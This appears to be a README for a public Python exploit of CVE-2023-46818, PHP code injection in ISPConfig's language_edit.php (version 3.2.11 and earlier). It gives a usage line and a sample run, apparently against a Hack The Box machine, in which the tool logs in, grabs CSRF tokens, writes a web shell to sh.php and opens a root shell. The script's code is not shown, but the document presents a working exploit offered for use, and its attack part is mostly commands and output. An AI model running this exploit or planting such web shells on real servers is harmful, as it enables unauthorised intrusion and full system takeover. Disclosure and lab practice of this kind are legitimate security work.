CVE-2023-46818 Python Exploit

🔥 Description

This Python exploit script targets a security vulnerability in ISPConfig's records POST parameter to /admin/language_edit.php, which is not properly sanitized. This allows an authenticated admin to inject and execute arbitrary PHP code.

⚠️ Affected Versions

Version 3.2.11 and prior versions.

⚙️ Usage

python3 CVE-2023-46818.py <URL> <Username> <Password>

💻 Sample Run

┌──(motoh4ck3r㉿kali)-[~/HTB/Linux/nocturnal]
└─$ python3 CVE-2023-46818.py http://127.0.0.1:8081 motoh4ck3r broombroom
[+] Logging in with username 'motoh4ck3r' and password 'broombroom'
[+] Login successful!
[*] Fetching CSRF tokens...
[+] CSRF ID: language_edit_92017c65f0bcba0f230f5cc1
[+] CSRF Key: 7d06eed7d23c29e5c9633920a8122339d91373e8
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:8081/admin/sh.php
[+] Launching shell...

ispconfig-shell# hostname & whoami & id
nocturnal
root
uid=0(root) gid=0(root) groups=0(root)

ispconfig-shell#

ℹ️ Reference

https://seclists.org/fulldisclosure/2023/Dec/2

❤️ Credits

Shout out to Egidio Romano for this discovery.